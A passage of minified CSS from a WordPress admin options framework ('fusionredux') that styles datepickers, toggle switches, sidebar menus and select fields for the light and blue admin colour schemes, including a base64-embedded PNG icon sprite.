!important;background-image:-o-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-linear-gradient(top, #f8f8f8, #f5f5f5) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#f8f8f8", endColorstr="#f5f5f5", GradientType=0) !important;border-color:#ccc !important}.admin-color-light .ui-datepicker td .ui-state-active{color:#000 !important;font-weight:700 !important;background:#fff !important}.admin-color-light .fusionredux-container-switch .cb-disable.selected{background-color:#646464 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#929292), to(#646464)) !important;background-image:-moz-linear-gradient(top, #929292, #646464) !important;background-image:-ms-linear-gradient(top, #929292, #646464) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #929292), color-stop(100%, #646464)) !important;background-image:-webkit-linear-gradient(top, #929292, #646464) !important;background-image:-o-linear-gradient(top, #929292, #646464) !important;background-image:-linear-gradient(top, #929292, #646464) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#929292", endColorstr="#646464", GradientType=0) !important;border-color:#767676 !important}.admin-color-light .fusionredux-container-switch .cb-enable.selected,.admin-color-light .fusionredux-field-container .ui-buttonset .ui-state-active{background-color:#04a4cc !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#05c0ef), to(#04a4cc)) !important;background-image:-moz-linear-gradient(top, #05c0ef, #04a4cc) !important;background-image:-ms-linear-gradient(top, #05c0ef, #04a4cc) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #05c0ef), color-stop(100%, #04a4cc)) !important;background-image:-webkit-linear-gradient(top, #05c0ef, #04a4cc) !important;background-image:-o-linear-gradient(top, #05c0ef, #04a4cc) !important;background-image:-linear-gradient(top, #05c0ef, #04a4cc) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#05c0ef", endColorstr="#04a4cc", GradientType=0) !important;border-color:#036881 !important;border-color:#037c9a !important;-webkit-box-shadow:inset 0 1px 0 #22cffb,0 1px 0 rgba(0,0,0,.15) !important;box-shadow:inset 0 1px 0 #22cffb,0 1px 0 rgba(0,0,0,.15) !important}.admin-color-light #fusionredux-header{background:#888;border-color:#04a4cc}.admin-color-light #fusionredux-header .display_header span{color:#e6e6e6}.admin-color-light .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections a{position:relative}.admin-color-light .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections a:after{right:0;border:solid 8px transparent;content:" ";height:0;width:0;position:absolute;pointer-events:none;border-right-color:#fff;top:50%;margin-top:-8px}.admin-color-light .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li a:after{border:0 none !important;content:" " !important}.admin-color-light .fusionredux-sidebar .fusionredux-group-menu li.hasSubSections .fusionredux-menu-error{display:none;margin-right:5px}.admin-color-light .fusionredux-sidebar .fusionredux-group-menu li.hasSubSections a.hasError .extraIconSubsections{background-color:#b94a48;color:#f2dede}.admin-color-light .fusionredux-sidebar .fusionredux-group-menu li.hasSubSections a .extraIconSubsections{border-radius:10px;-moz-border-radius:10px;-webkit-border-radius:10px;border:0 solid transparent;float:right;font-size:9px;height:9px;line-height:9px;margin-right:5px;padding:6px 7px 4px 7px;width:5px}.admin-color-light .fusionredux-sidebar .fusionredux-group-menu li.active a .extraIconSubsections,.admin-color-light .fusionredux-sidebar .fusionredux-group-menu li.activeChild a .extraIconSubsections{display:none}.admin-color-light .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections .fusionredux-menu-error,.admin-color-light .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections .fusionredux-menu-error{display:block}.admin-color-light .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections .subsection .fusionredux-menu-error,.admin-color-light .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections .subsection .fusionredux-menu-error{margin-right:2px}.admin-color-light .fusionredux-sidebar .fusionredux-group-menu li.active,.admin-color-light .fusionredux-sidebar .fusionredux-group-menu li.activeChild{border-left:0 none}.admin-color-light .fusionredux-sidebar .fusionredux-group-menu li.active a,.admin-color-light .fusionredux-sidebar .fusionredux-group-menu li.activeChild a{color:#888}.admin-color-light .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections .active a:after,.admin-color-light .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections .active a:after{right:0;border:solid 8px transparent;content:" ";height:0;width:0;position:absolute;pointer-events:none;border-right-color:#fff;top:50%;margin-top:-8px}.admin-color-light .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections a,.admin-color-light .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections a{-webkit-transition:all .2s;-moz-transition:all .2s;transition:all .2s;color:#fff;width:auto;border-bottom:0}.admin-color-light .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li,.admin-color-light .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li{border-top:0 none !important}.admin-color-light .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li.active a:hover,.admin-color-light .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li.active a:hover{color:#fff}.admin-color-light .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li a,.admin-color-light .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li a{width:auto;border-top:0 !important;padding:7px;color:#fff;padding-left:15px;-webkit-transition:all .2;-moz-transition:all .2;-ms-transition:all .2;-o-transition:all .2;transition:all .2}.admin-color-light .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li a:hover,.admin-color-light .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li a:hover{color:#0384a4;background:#6f6f6f}.admin-color-light .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li a span.group_title,.admin-color-light .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li a span.group_title{padding-left:5px !important}.admin-color-light .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li.hasIcon a,.admin-color-light .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li.hasIcon a{padding-left:14px}.admin-color-light .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li.hasIcon a span.group_title,.admin-color-light .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li.hasIcon a span.group_title{padding-left:30px !important}.admin-color-light .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections a{background:#04a4cc}.admin-color-light .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li a{background:#888}.admin-color-light .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections a{background:#e6e6e6;text-shadow:1px 1px #9a9a9a}.admin-color-light .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li a{background:#888;text-shadow:none}.admin-color-light .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li.active a{background:#04a4cc;text-shadow:1px 1px #025468}.admin-color-light .fusionredux-container-image_select .fusionredux-image-select-selected img{border-color:#04a4cc;border-width:3px;max-width:100%;max-height:100%;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.admin-color-light #fusionredux-footer #fusionredux-share a{color:#04a4cc}.admin-color-light #fusionredux-footer #fusionredux-share a:hover{color:#025468}.admin-color-light .select3-results .select3-highlighted{background:#04a4cc}.admin-color-light .select3-drop-active,.admin-color-light .select3-container-multi.select3-container-active .select3-choices,.admin-color-light .select3-drop.select3-drop-above.select3-drop-active,.admin-color-light .select3-container-active .select3-choice,.admin-color-light .select3-container-active .select3-choices,.admin-color-light .select3-dropdown-open.select3-drop-above .select3-choice,.admin-color-light .select3-dropdown-open.select3-drop-above .select3-choices{border-color:#04a4cc}.admin-color-light .select3-dropdown-open.select3-drop-above .select3-choice,.admin-color-light .select3-dropdown-open.select3-drop-above .select3-choices{border-top:inherit}.admin-color-light .noUi-connect{background-color:#04b0db !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#09cafa), to(#04b0db)) !important;background-image:-moz-linear-gradient(top, #09cafa, #04b0db) !important;background-image:-ms-linear-gradient(top, #09cafa, #04b0db) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #09cafa), color-stop(100%, #04b0db)) !important;background-image:-webkit-linear-gradient(top, #09cafa, #04b0db) !important;background-image:-o-linear-gradient(top, #09cafa, #04b0db) !important;background-image:-linear-gradient(top, #09cafa, #04b0db) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#09cafa", endColorstr="#04b0db", GradientType=0) !important}.admin-color-blue .button.ui-datepicker-current,.admin-color-blue button.ui-datepicker-close{background-color:#509dba !important}.admin-color-blue .ui-datepicker-buttonpane button.ui-datepicker-current{background:#db9825 !important;color:#fff !important;border:1px solid #845c16 !important}.admin-color-blue .ui-datepicker-header .ui-icon{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAQAAAADwCAMAAADYSUr5AAAA7VBMVEX8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vz8/vywC3+8AAAATnRSTlMAGBAyBAhQv4OZLiJUcEBmYBoSzQwgPBZCSEoeWiYwUiyFNIeBw2rJz8c4RBy9uXyrtaWNqa2zKP2fJO8KBgKPo2KVoa9s351GPm5+kWho0kj9AAAPhUlEQVR4nO1djWLbthEGyUiq5YSSLXtp7FpLOmfzkmxr126tmi2p03RJ1/Xe/3EGgARxPyAgRbIk2/hkSz4CJO4+HsE7AJSVysjI2AMUUOxahZ2iANhzBtZWr4BoIRSYAVN5u4QwDwQDRbcwfUi5KS3wFuDmFnQLa4Dtb//cqktwD5QEFFwfUs7PoCCA7y4bEJVFizcIob8KmhAplwwqVjt+9FBl3uINQniwEiryEyw9JHqGpQdEFNi+B4QQ7QOiHhysIPoAxUqxvdvvA9K42bsAv4S2fxfYOe57IJSRkZGRkZGxx7jxSHDHcRBXQMTyIjInBgHwBJ/bEx8PEANC+uhbpSSggCBAVODVabpI1S/k4WLZpTn6NpMhoX9Y40hxYERFpMcqUs4AloCtDQdID1YhnyXZ2hLjAYWiO9Dy1PDB7tPhIqLx+uMB8grZaR+Qxl2/C2RkZGRkZGRk7A7rBf7J0DR5/LUTjzUPIPSPGvQJiVJiB7kcQCiUOJrcFNtDZIf2xarQ3aGvLNxAVIFAabz90BFiBIlycTBhgWwOWCH0FLYHlPqwHaCvcIn2ZbosCevfPTRiFFcgvHukCjWwrc3GrGh1fsAof8EaUReKXkCB4/MzFNo97qLpFiKFYv/kNR5YQxQbQEofkZ2OuEOHqqT6gFTpru8CN7x/+jaZkZGRkZGRcV+x/rLUNcMMqUAscgnFocmpqkTzqymwVAPxfJ5PnIUUQOUKT04tEdWZyv3JCQSn96WS4pD97QfyW25A7NhSAbyhmVj0FEltA4vdiygBibXhoUYgykCUP7HwPTDeEqAIcHVMkZg7Zx4k0uFANs63hPQXCoRLAwdgGsr9Az7Qv7sgQGgg1aPl/BJLExBWgG4RFRLFImGmIquPC/klEGyCG0AuAXaJJC+B8FVe9NYQDEcXB8g6AQcjYJ1goJIggHWCrFR0S6kRHN5+4BzFi8NaoN35NRxUvL+JJdZr7PV4wK6fj8nIyMjIyNhr3OxdXAYq7FHZwB6bDSzSh4sF0utChqo0NAvaT1hLzXwFinmCzmeDucEQK18TTaQoFgP7bNC+RZ4OT4T6gQogDFYk+1QxQlj19QGSAWKiLYp8P0Ag1Gbz1ULfWHLg9iUnQNK5QQJcukm04blKLH2GgEJCY+HzXAZWCvHKco3Bp6MIaCjSXXRJyOxeqhnzEaF93MfFGW/O16ZvDL5TM4MJIjujz/cHypkQuuzRwWJ93BKdIt+wCRAPl9kpe2Ikkb2mFgGlxh/i40d3EHfdvoyMjIyMu43ylt/IAmGHnN5iIt7wKfbv01RAcJqFRl9lcjYQSnbQqKgC4fYOwSJt6N6trE0twZ9kN/PqNpTQeICvr4TLsDYC06U7BMjshS+v1/aT7IwQYD5LcgRQXMT2FrBfBLjZ6151jDElk9tPFfpUgk2yregusX25BJbwAFEfM+YI6vGAti4bTtizB+TjfQCrERyhKb2X8D6A9wX75P4t4neBYJeP6pdhg/gQl8MWvytzeSTjgOQBynQdh/iXKdxOrGJ/RkZGRsb9QmXihGr5+g8GGg9uTh+KoVZuNIzV+CwRucFBEyr1mVjx4irOxwM1BhirB6Q+2eNQi4eqR+aF6mELtoMzCR7V9RAFe/ZvQogNiyY8FPSUTFsLp8TeTmMui5mtw7bcaT0Yw2AA4wFRQIlkgq+1DQrNhkmoxS5Jq+u6bMAIGRECEANgXHTgWzwgBOhDH2l0oTQ4D8D5NMktBgNywAEMjo8rwATMZrPY7JGxBoJCkIBDQiAY09EGTUiBCWkUpISfGPR5AAwBfZiG2z7Ayc1yeKTxid39xBNwfHr4O0LA48ePFTvhYrF1r4tyAoz9n2MCqEuBtp/6GDR0oAYfG/R6wJExHYZHfhygsv7fEWCOj4bYmsP5A+pL4MkTfAnMlD4F+r3bobKvTyTA2P/w7PN+Agq2QW8piqMCpTBwenoKvX0AHGkGtP2YAPvTEWA7QUTAudn7/NxtOG46wWNmDtpBEkBzN7rBEvAFHp+YTB/q97qPAN4gHFqgBi8uLsC7qPCA6mg41G/+ErByPwEXDdoNxRhOx+M5jPEzQugS0ht+b1/Y3gEnYMAIAOIBE29/hIDucE8tmMsNOgK4B1RHFu4UCRlMHzv0xzcajcfdXWDs2h8TArBCkoDUJYDLmz6w7ip3BFS0ve5wTRwAn6keMA9I3QYbfSZ0DKbyt+7OXjGI1idPcfNyAyfAMlCrzaGqphYrxHocLHRJVycnfGUcbtT+jIyMjIw9x7Nn8fJSzG0TmFtO8rZT+XT3S3ub+tKJbbLd5diTVp50+zahyeHSslJ/YPrU0fuazrZO2CZ92/ZCCVXlGRiZKPJyPPRxyIFWeXLQBXJBKiq/3divEAN6ZwM200Qjm7EJBZeWm/PRWVCbYK7s7u2l4XaCz+lzgOfMfhMonXr7TWzeZb98dbgIzBT8Ub8eYYUqfZ4rVJ/MDbIDgPqTulJ/xvntWAtjIisqnwxOkGz0n077FARoY79GdA6HPE4rOy196NiMWHTZlSSApcOgXpy/fHV2joaNKu3ffsAnRcBf4K/6NcIG6tIxk3HyoXPjASqfUgXbYN5PzpL2njkR9QMjeDTVHDTCgRuxOegjoO0FvKzP/t/gmVdI24+G7NIe8JX6Wv3dDyldMA+4YB5wwTygtd+dwRqaTqrLb1l73zTSN52CNpnHuQOYPsDblybgxfkXh/oVtr+N1DEBJdhRJyd/Bd/q1z+cbNrD17iVKyajcnv9arhOkRPgsruuD6DmNPwpDNrLw2CoTgHni4yALr0L29+tiKAEIPn868ejx//8rpWP3OEOl5On9OwpcQm0MhafP/ey8f1uvDNIgGLQG8z4YO99ENgg95etwv4uYJYY8fUGHYH6j6fscHFZMftlAl9i+9XL73X3N/n+ZStOzfVfRvYXhrbdKOpEgVQTg/wsDuDD3kwOfQNMTJ5y+/ltUDWLunyxnRF46IqlBzGMY4X7inggREFioIyMjIyMHWCIB6ZNKAcXseo3vLTQTkVE7348dlwJJSz0+wLfmi8BhZqfw3D4ww/wHVLnEd5/fgYvXsDZ3MlsvYUbbnDjDZ3MN3TJG4+bxjAaDl8TBri9qxEw1ccao2wTNAMLHo2f+sjrXwb/9qHoYqgPMBXJTVfOpmrZH23y6uvo0LHSyY6fHGwKfHJlAuMFvObjDYrIqxBgQi20h7Hd/nYVLmno+eaNUm/eeH2GCuopntnhBJAlI2AHo9CCh1I1QxUdAbqqGY9BBLwyc3W4wYVhvY8A4BoIc1l5M7vnPWphZW9/Ses3n37y9a0uGqFwFQZsQQbd386DogpgEk+dzynsAZMJXq8+ns9NeukJ0PYrNATGGefJQlhkLo7DTXr+y3bNiOsDvrXTz/C2q1DXZH84iRNwrP88Nj+u2DjYEE6RBxD9Knj16ujVHC67A7422o02RwD3gB+t7EblWvu9geOFxSnd3ROmT+nJyQkhoPlsxVONc/3TEdBos+jtA+ZzcwHgTvD1cDjaYCcItA8w9i88A8b+mqSjc6Pvqd998QguEQPmQMeo23ODN86+p0/bn1buBkT6+oBhNZ/PYY4ZAHYb3PRd4LkZmPX68NRtMZn4ASvdA+qf0jMA5MP9eeg28Nug9QiLnj5A33U1MAES6xHAUNpz/9zFAYE1gqQDMT3G6xI9pwdw/aIgKoHCS1YGlRnSq9yCjdXjgN3j+N27YyROHxmuNAeNKPpYuXIyIyMjYy0M8eros59MF/PT2c602T7eA7zvhJ9dr/vzDjXaLp4Yc5+0wllzxzHv3gdmMMM7/CcQzKgVBqYTmFn+Z+mKm8J7k0A5F/jgCfjQ1WBhQyiOqD0lYuqBb+AyzMw9Ha2G3m6c8qQx+AlqnIceQp+Sb6i9UyQWbhr54+AjnZ0VzW2TAN0DmBT6PWmc6jDBE2PK2u+nF43dyP7Q0t1pOcX2fdRvH0mF2Q4JqN35rnHjVIeaXfIAVyUuw/aHCCiJy9iF5l1621zweI8KZrPZ9iJdb7DXJ3US0OSrtZ10imt7wHY7QesAzUMz1oZ3noB3qFJ/H18j97FYuw8QDN4oeKf30osvcSW2ExLo+VcbuAuo/sUIm8fMG9xocO3Ea19J9gFYivnHJ2KnyfovZlgW3v6ySx32abQiIyMjIyPjhlFDTLxpwIgFMnTp6A3g4IDKNY+stkwAMAoIAbasxBXqUWneSAWTMjt50lTqT29rFjvXohjsDNm2YPXDFlICmrJOZ3t6tHm8AiEAl0sCeLIIorIRt+cFbew/QRsoAXb4o1XSfoywzm0FTMAoYBNvLyFu8v8HpLBtD1iKgC17wHb7AI6d9wFbvguAIGTHd4E9wG7jgIyMjIyM+434c2R3HeV/Ffx6jtZu6ijl8h59T655jhR+rdHzDOP6beABCheb8O8/WFXeOyzgf5oAhVYnKxP7CwaAf1afJu8bSrhS6tdaXeGnrRenOqOlz9d6QwYnA/3TLd+GE7qe3chA5YF5DfY0vK3adfOX/gyNp2BW25MHdxAB9qvRiiP3/XpQQFGYDU4+Mi///XumXG8pjvaUAOsBGlf4jJt+YYEzeEzAdw06F19R3juM7D1wita86GR0CKfDHgLuXCc4Bri6vMLdfjMc4VNSUNsdodo2xu/1+Xl/K5+az8jIyMhYG/z5gJTMF1GtKq/a3rpyCvz5gJTMl9GtKq/a3rpyCmfQ4WwZmS+kXFVetb115ST48wEf/AGcfG1iw+tWbpbS2vJ3nQxcVr3lH3z5h972FUTLzYpOVk7l5hD+eYcYwDcAnewOotrZ4OtrPDucqi/LRX0/RR4qx7Nn4U8g+qjffvuN6Gf+nC85vwauHjaYyubqvWYKY4VEfSUMitdnBCT1Ue63R5439m+OgCn6DroAAaHPVQxKth/wkJgHmG8bmQMsT0D6EjDfvhVRKO3ywOQUgRA7nmL1uawZmHf1k+DPBwQ6NdcJ+k6Md1LA5f5ONdhJ8vZ5J0vLHT99srkGOjmJbd/G1r2Nriqnse1AZt1AalU5jW2HsuuG0qvKGRkZGRkZGRG0gcONyXsP9v8D0/IdJADiBNiXl3327WRGgOL/9HC/0XwlIURkRhC4tz6Z/fu7fUf2gHvfB9z3u0BGRkZGRkbGplHcnkgguQoSqtUXuhbs/wPtMwqV0HUJAvj5vk32b8IDuL23yn7qAXZ5u32hbRX7d3o82Df1FZXvbh9QOfhyxldr/+3xgXU9oKmvsHyr7F/XA269/eveBXrsv7N9QALe/tvjA0kPWAXGbvebkbHn+D/J5nMcHzx1UAAAAABJRU5ErkJggg==) !important}.admin-color-blue .ui-datepicker-header{background-color:#096484 !important;color:#fff !important}.admin-color-blue .ui-datepicker td .ui-state-active{background-color:#509dba !important;color:#fff !important}.admin-color-blue .ui-datepicker td .ui-state-hover{color:#509dba !important}.admin-color-blue .ui-datepicker td .ui-state-highlight{background:#4796b3 !important;border:1px solid #096484 !important;color:#fff !important}.admin-color-blue .fusionredux-container-switch .cb-disable,.admin-color-blue .fusionredux-container-switch .cb-enable,.admin-color-blue .ui-state-default,.admin-color-blue .ui-widget-content .ui-state-default,.admin-color-blue .ui-widget-header .ui-state-default{background-color:#f5f5f5 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#f8f8f8), to(#f5f5f5)) !important;background-image:-moz-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-ms-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #f8f8f8), color-stop(100%, #f5f5f5)) !important;background-image:-webkit-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-o-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-linear-gradient(top, #f8f8f8, #f5f5f5) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#f8f8f8", endColorstr="#f5f5f5", GradientType=0) !important;border-color:#ccc !important}.admin-color-blue .ui-datepicker td .ui-state-active{color:#000 !important;font-weight:700 !important;background:#fff !important}.admin-color-blue .fusionredux-container-switch .cb-disable.selected{background-color:#646464 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#929292), to(#646464)) !important;background-image:-moz-linear-gradient(top, #929292, #646464) !important;background-image:-ms-linear-gradient(top, #929292, #646464) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #929292), color-stop(100%, #646464)) !important;background-image:-webkit-linear-gradient(top, #929292, #646464) !important;background-image:-o-linear-gradient(top, #929292, #646464) !important;background-image:-linear-gradient(top, #929292, #646464) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#929292", endColorstr="#646464", GradientType=0) !important;border-color:#767676 !important}.admin-color-blue .fusionredux-container-switch .cb-enable.selected,.admin-color-blue .fusionredux-field-container .ui-buttonset .ui-state-active{background-color:#4796b3 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#5ea5bf), to(#4796b3)) !important;background-image:-moz-linear-gradient(top, #5ea5bf, #4796b3) !important;background-image:-ms-linear-gradient(top, #5ea5bf, #4796b3) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #5ea5bf), color-stop(100%, #4796b3)) !important;background-image:-webkit-linear-gradient(top, #5ea5bf, #4796b3) !important;background-image:-o-linear-gradient(top, #5ea5bf, #4796b3) !important;background-image:-linear-gradient(top, #5ea5bf, #4796b3) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#5ea5bf", endColorstr="#4796b3", GradientType=0) !important;border-color:#31687c !important;border-color:#39778e !important;-webkit-box-shadow:inset 0 1px 0 #7cb6cb,0 1px 0 rgba(0,0,0,.15) !important;box-shadow:inset 0 1px 0 #7cb6cb,0 1px 0 rgba(0,0,0,.15) !important}.admin-color-blue #fusionredux-header{background:#096484;border-color:#4796b3}.admin-color-blue #fusionredux-header .display_header span{color:#e2ecf1}.admin-color-blue .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections a{position:relative}.admin-color-blue .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections a:after{right:0;border:solid 8px transparent;content:" ";height:0;width:0;position:absolute;pointer-events:none;border-right-color:#fff;top:50%;margin-top:-8px}.admin-color-blue .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li a:after{border:0 none !important;content:" " !important}.admin-color-blue .fusionredux-sidebar .fusionredux-group-menu li.hasSubSections .fusionredux-menu-error{display:none;margin-right:5px}.admin-color-blue .fusionredux-sidebar .fusionredux-group-menu li.hasSubSections a.hasError .extraIconSubsections{background-color:#b94a48;color:#f2dede}.admin-color-blue .fusionredux-sidebar .fusionredux-group-menu li.hasSubSections a .extraIconSubsections{border-radius:10px;-moz-border-radius:10px;-webkit-border-radius:10px;border:0 solid transparent;float:right;font-size:9px;height:9px;line-height:9px;margin-right:5px;padding:6px 7px 4px 7px;width:5px}.admin-color-blue .fusionredux-sidebar .fusionredux-group-menu li.active a .extraIconSubsections,.admin-color-blue .fusionredux-sidebar .fusionredux-group-menu li.activeChild a .extraIconSubsections{display:none}.admin-color-blue .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections .fusionredux-menu-error,.admin-color-blue .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections .fusionredux-menu-error{display:block}.admin-color-blue .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections .subsection .fusionredux-menu-error,.admin-color-blue .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections .subsection .fusionredux-menu-error{margin-right:2px}.admin-color-blue .fusionredux-sidebar .fusionredux-group-menu li.active,.admin-color-blue .fusionredux-sidebar .fusionredux-group-menu li.activeChild{border-left:0 none}.admin-color-blue .fusionredux-sidebar .fusionredux-group-menu li.active a,.admin-color-blue .fusionredux-sidebar .fusionredux-group-menu li.activeChild a{color:#096484}.admin-color-blue .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections .active a:after,.admin-color-blue .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections .active a:after{right:0;border:solid 8px transparent;content:" ";height:0;width:0;position:absolute;pointer-events:none;border-right-color:#fff;top:50%;margin-top:-8px}.admin-color-blue .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections a,.admin-color-blue .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections a{-webkit-transition:all .2s;-moz-transition:all .2s;transition:all .2s;color:#fff;width:auto;border-bottom:0}.admin-color-blue .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li,.admin-color-blue .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li{border-top:0 none !important}.admin-color-blue .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li.active a:hover,.admin-color-blue .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li.active a:hover{color:#fff}.admin-color-blue .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li a,.admin-color-blue .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li a{width:auto;border-top:0 !important;padding:7px;color:#fff;padding-left:15px;-webkit-transition:all .2;-moz-transition:all .2;-ms-transition:all .2;-o-transition:all .2;transition:all .2}.admin-color-blue .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li a:hover,.admin-color-blue .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li a:hover{color:#db9825;background:#064054}.admin-color-blue .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li a span.group_title,.admin-color-blue .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li a span.group_title{padding-left:5px !important}.admin-color-blue .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li.hasIcon a,.admin-color-blue .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li.hasIcon a{padding-left:14px}.admin-color-blue .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li.hasIcon a span.group_title,.admin-color-blue .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li.hasIcon a span.group_title{padding-left:30px !important}.admin-color-blue .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections a{background:#4796b3}.admin-color-blue .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li a{background:#096484}.admin-color-blue .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections a{background:#e2ecf1;text-shadow:1px 1px #7ba8bf}.admin-color-blue .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li a{background:#096484;text-shadow:none}.admin-color-blue .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li.active a{background:#4796b3;text-shadow:1px 1px #2a596a}.admin-color-blue .fusionredux-container-image_select .fusionredux-image-select-selected img{border-color:#4796b3;border-width:3px;max-width:100%;max-height:100%;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.admin-color-blue #fusionredux-footer #fusionredux-share a{color:#4796b3}.admin-color-blue #fusionredux-footer #fusionredux-share a:hover{color:#2a596a}.admin-color-blue .select3-results .select3-highlighted{background:#4796b3}.admin-color-blue .select3-drop-active,.admin-color-blue .select3-container-multi.select3-container-active .select3-choices,.admin-color-blue .select3-drop.select3-drop-above.select3-drop-active,.admin-color-blue .select3-container-active .select3-choice,.admin-color-blue .select3-container-active .select3-choices,.admin-color-blue .select3-dropdown-open.select3-drop-above .select3-choice,.admin-color-blue .select3-dropdown-open.select3-drop-above .select3-choices{border-color:#4796b3}.admin-color-blue .select3-dropdown-open.select3-drop-above .select3-choice,.admin-color-blue .select3-dropdown-open.select3-drop-above .select3-choices{border-top:inherit}.admin-color-blue .noUi-connect{background-color:#509dba !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#69abc4), to(#509dba)) !important;background-image:-moz-linear-gradient(top, #69abc4, #509dba) !important;background-image:-ms-linear-gradient(top, #69abc4, #509dba) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #69abc4), color-stop(100%, #509dba)) !important;background-image:-webkit-linear-gradient(top, #69abc4, #509dba) 